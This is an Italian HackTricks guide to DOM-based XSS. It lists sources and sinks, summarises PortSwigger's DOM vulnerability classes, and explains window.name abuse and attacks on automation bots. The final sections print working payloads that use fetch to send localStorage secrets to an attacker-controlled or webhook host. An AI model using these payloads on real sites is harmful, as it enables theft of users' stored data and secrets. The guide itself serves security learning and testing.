DOM XSS
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Vulnerabilità DOM
Le vulnerabilità DOM si verificano quando dati controllati dall’attacker provenienti da sources (come location.search, document.referrer, o document.cookie) vengono trasferiti in modo non sicuro a sinks. Le sinks sono funzioni o oggetti (es., eval(), document.body.innerHTML) che possono eseguire o renderizzare contenuti dannosi se ricevono dati malevoli.
- Sources sono input che possono essere manipolati dagli attaccanti, inclusi URL, cookie e messaggi web.
- Sinks sono endpoint potenzialmente pericolosi dove dati malevoli possono portare a effetti avversi, come l’esecuzione di script.
Il rischio sorge quando i dati fluiscono da una source a una sink senza una corretta validazione o sanitizzazione, consentendo attacchi come XSS.
Tip
Puoi trovare una lista più aggiornata di sources e sinks in https://github.com/wisec/domxsswiki/wiki
Common sources:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
Sink comuni:
| Open Redirect | Javascript Injection | DOM-data manipulation | jQuery |
|---|---|---|---|
location | eval() | scriptElement.src | add() |
location.host | Function() constructor | scriptElement.text | after() |
location.hostname | setTimeout() | scriptElement.textContent | append() |
location.href | setInterval() | scriptElement.innerText | animate() |
location.pathname | setImmediate() | someDOMElement.setAttribute() | insertAfter() |
location.search | execCommand() | someDOMElement.search | insertBefore() |
location.protocol | execScript() | someDOMElement.text | before() |
location.assign() | msSetImmediate() | someDOMElement.textContent | html() |
location.replace() | range.createContextualFragment() | someDOMElement.innerText | prepend() |
open() | crypto.generateCRMFRequest() | someDOMElement.outerText | replaceAll() |
domElem.srcdoc | ``Local file-path manipulation | someDOMElement.value | replaceWith() |
XMLHttpRequest.open() | FileReader.readAsArrayBuffer() | someDOMElement.name | wrap() |
XMLHttpRequest.send() | FileReader.readAsBinaryString() | someDOMElement.target | wrapInner() |
jQuery.ajax() | FileReader.readAsDataURL() | someDOMElement.method | wrapAll() |
$.ajax() | FileReader.readAsText() | someDOMElement.type | has() |
| ``Ajax request manipulation | FileReader.readAsFile() | someDOMElement.backgroundImage | constructor() |
XMLHttpRequest.setRequestHeader() | FileReader.root.getFile() | someDOMElement.cssText | init() |
XMLHttpRequest.open() | FileReader.root.getFile() | someDOMElement.codebase | index() |
XMLHttpRequest.send() | Link manipulation | someDOMElement.innerHTML | jQuery.parseHTML() |
jQuery.globalEval() | someDOMElement.href | someDOMElement.outerHTML | $.parseHTML() |
$.globalEval() | someDOMElement.src | someDOMElement.insertAdjacentHTML | Client-side JSON injection |
| ``HTML5-storage manipulation | someDOMElement.action | someDOMElement.onevent | JSON.parse() |
sessionStorage.setItem() | XPath injection | document.write() | jQuery.parseJSON() |
localStorage.setItem() | document.evaluate() | document.writeln() | $.parseJSON() |
**[**`Denial of Service`**](dom-xss.md#denial-of-service)** | someDOMElement.evaluate() | document.title | ``Cookie manipulation |
requestFileSystem() | ``Document-domain manipulation | document.implementation.createHTMLDocument() | document.cookie |
RegExp() | document.domain | history.pushState() | WebSocket-URL poisoning |
| Client-Side SQl injection | Web-message manipulation | history.replaceState() | WebSocket |
executeSql() | postMessage() | `` | `` |
Il sink innerHTML non accetta elementi script su nessun browser moderno, né gli eventi svg onload verranno eseguiti. Questo significa che dovrai usare elementi alternativi come img o iframe.
Questo tipo di XSS è probabilmente il più difficile da trovare, perché devi guardare dentro il codice JS, verificare se sta usando un oggetto il cui valore puoi controllare, e in quel caso vedere se c’è un modo per abusarne per eseguire JS arbitrario.
Strumenti per trovarli
- https://github.com/mozilla/eslint-plugin-no-unsanitized
- Estensione del browser per controllare tutti i dati che raggiungono un potenziale sink: https://github.com/kevin-mizu/domloggerpp
Esempi
Open Redirect
Da: https://portswigger.net/web-security/dom-based/open-redirection
Le vulnerabilità di open redirect nel DOM si verificano quando uno script scrive dati, controllabili da un attacker, in un sink capace di avviare una navigazione verso domini esterni.
È cruciale capire che eseguire codice arbitrario, come javascript:alert(1), è possibile se si ha il controllo dell’inizio dell’URL dove avviene la redirezione.
Sink:
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
Manipolazione dei cookie
Fonte: https://portswigger.net/web-security/dom-based/cookie-manipulation
Le vulnerabilità DOM-based di cookie-manipulation si verificano quando uno script incorpora dati, che possono essere controllati da un attacker, nel valore di un cookie. Questa vulnerabilità può portare a comportamenti imprevisti della pagina web se il cookie viene utilizzato all’interno del sito. Inoltre, può essere sfruttata per eseguire un session fixation attack se il cookie è coinvolto nel tracciamento delle sessioni utente. Il sink principale associato a questa vulnerabilità è:
Sinks:
document.cookie
JavaScript Injection
Da: https://portswigger.net/web-security/dom-based/javascript-injection
Le vulnerabilità DOM-based JavaScript injection si verificano quando uno script esegue dei dati, che possono essere controllati da un attaccante, come codice JavaScript.
Sinks:
eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
Manipolazione di document.domain
From: https://portswigger.net/web-security/dom-based/document-domain-manipulation
Le vulnerabilità di manipolazione di document.domain si verificano quando uno script imposta la proprietà document.domain usando dati che un attaccante può controllare.
La proprietà document.domain svolge un ruolo chiave nell’applicazione della politica della stessa origine da parte dei browser. Quando due pagine di origini diverse impostano il loro document.domain sul medesimo valore, possono interagire senza restrizioni. Sebbene i browser impongano certi limiti sui valori assegnabili a document.domain, impedendo l’assegnazione di valori completamente non correlati all’origine della pagina, esistono eccezioni. Tipicamente, i browser consentono l’uso di domini figli o padri.
Sinks:
document.domain
WebSocket-URL poisoning
From: https://portswigger.net/web-security/dom-based/websocket-url-poisoning
WebSocket-URL poisoning si verifica quando uno script utilizza dati controllabili come URL di destinazione per una connessione WebSocket.
Sinks:
Il costruttore WebSocket può portare a vulnerabilità di WebSocket-URL poisoning.
Link manipulation
From: https://portswigger.net/web-security/dom-based/link-manipulation
DOM-based link-manipulation vulnerabilities si verificano quando uno script scrive attacker-controllable data to a navigation target all’interno della pagina corrente, come un link cliccabile o l’URL di invio di un form.
Sinks:
someDOMElement.href
someDOMElement.src
someDOMElement.action
Ajax request manipulation
From: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation
Ajax request manipulation vulnerabilities si verificano quando uno script scrive attacker-controllable data into an Ajax request in una richiesta inviata usando un oggetto XmlHttpRequest.
Sinks:
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()
Local file-path manipulation
Da: https://portswigger.net/web-security/dom-based/local-file-path-manipulation
Local file-path manipulation vulnerabilities si verificano quando uno script passa dati controllabili dall’attaccante a un’API per la gestione dei file come parametro filename. Questa vulnerabilità può essere sfruttata da un attaccante per costruire un URL che, se visitato da un altro utente, potrebbe portare al browser dell’utente che apre o scrive un file locale arbitrario.
Sinks:
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()
Client-Side SQl injection
Da: https://portswigger.net/web-security/dom-based/client-side-sql-injection
Client-side SQL-injection vulnerabilities si verificano quando uno script incorpora dati controllabili dall’attaccante in una query SQL lato client in modo non sicuro.
Sinks:
executeSql()
HTML5-storage manipulation
Da: https://portswigger.net/web-security/dom-based/html5-storage-manipulation
HTML5-storage manipulation vulnerabilities si verificano quando uno script memorizza dati controllabili dall’attaccante nello HTML5 storage del browser (localStorage o sessionStorage). Sebbene questa azione non sia intrinsecamente una vulnerabilità di sicurezza, diventa problematica se l’applicazione successivamente legge i dati memorizzati e li elabora in modo non sicuro. Questo potrebbe permettere a un attaccante di sfruttare il meccanismo di storage per condurre altri DOM-based attacks, come cross-site scripting e JavaScript injection.
Sinks:
sessionStorage.setItem()
localStorage.setItem()
XPath injection
Da: https://portswigger.net/web-security/dom-based/client-side-xpath-injection
DOM-based XPath-injection vulnerabilities si verificano quando uno script incorpora dati controllabili dall’attaccante in una query XPath.
Sinks:
document.evaluate()
someDOMElement.evaluate()
Client-side JSON injection
From: https://portswigger.net/web-security/dom-based/client-side-json-injection
DOM-based JSON-injection vulnerabilities si verificano quando uno script incorpora dati controllabili dall’attaccante in una stringa che viene analizzata come una struttura dati JSON e poi elaborata dall’applicazione.
Sinks:
JSON.parse()
jQuery.parseJSON()
$.parseJSON()
Web-message manipulation
From: https://portswigger.net/web-security/dom-based/web-message-manipulation
Web-message vulnerabilities si verificano quando uno script invia attacker-controllable data as a web message to another document all’interno del browser. Un esempio di vulnerable Web-message manipulation può essere trovato su PortSwigger’s Web Security Academy.
Sinks:
Il metodo postMessage() per l’invio di web messages può portare a vulnerabilità se l’event listener che riceve i messaggi gestisce i dati in ingresso in modo non sicuro.
DOM-data manipulation
From: https://portswigger.net/web-security/dom-based/dom-data-manipulation
DOM-data manipulation vulnerabilities si verificano quando uno script scrive attacker-controllable data to a field within the DOM che viene utilizzato nella UI visibile o nella logica client-side. Questa vulnerabilità può essere sfruttata da un attaccante per costruire un URL che, se visitato da un altro utente, può alterare l’aspetto o il comportamento della UI client-side.
Sinks:
scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
Denial of Service
From: https://portswigger.net/web-security/dom-based/denial-of-service
DOM-based denial-of-service vulnerabilities si verificano quando uno script passa dati controllabili dall’attaccante in modo non sicuro a una API della piattaforma problematica. Questo include API che, quando invocate, possono portare il computer dell’utente a consumare quantità eccessive di CPU o spazio su disco. Tali vulnerabilità possono avere effetti collaterali significativi, come il browser che limita le funzionalità del sito rifiutando i tentativi di memorizzare dati in localStorage o terminando script in esecuzione intensiva.
Sinks:
requestFileSystem()
RegExp()
Dom Clobbering
Variabili globali implicite e abuso di window.name
Riferirsi a name senza una dichiarazione (var/let/const) viene risolto in window.name. Poiché window.name persiste attraverso navigazioni cross-origin, un attacker può pre-seed il nome del browsing context con HTML/JS e successivamente far sì che il victim code lo interpreti come dati affidabili:
- Apri/naviga il target in un contesto nominato che controlli:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
- Oppure riutilizzare
window.opencon un nome target appositamente creato:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")
Se l’applicazione in seguito esegue element.innerHTML = name (o uno sink simile) senza sanitizzazione, la stringa controllata dall’attaccante window.name viene eseguita nell’origine di destinazione, consentendo DOM XSS e l’accesso a same-origin storage.
Flussi Admin/automation: pre-seeded storage & javascript: navigation
I bot di automazione (es. Playwright) spesso visitano per primi una pagina interna, impostano segreti in localStorage/cookies e poi navigano verso URL forniti dall’utente. Qualsiasi primitiva DOM XSS (incluso l’abuso di window.name) in quel flusso può esfiltrare il segreto preinserito:
fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))
Se il bot non restringe gli schemi, fornire un URL javascript: (javascript:fetch(...)) fa sì che questo venga eseguito nell’origine corrente senza una nuova navigazione, direttamente leaking storage values.
References
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


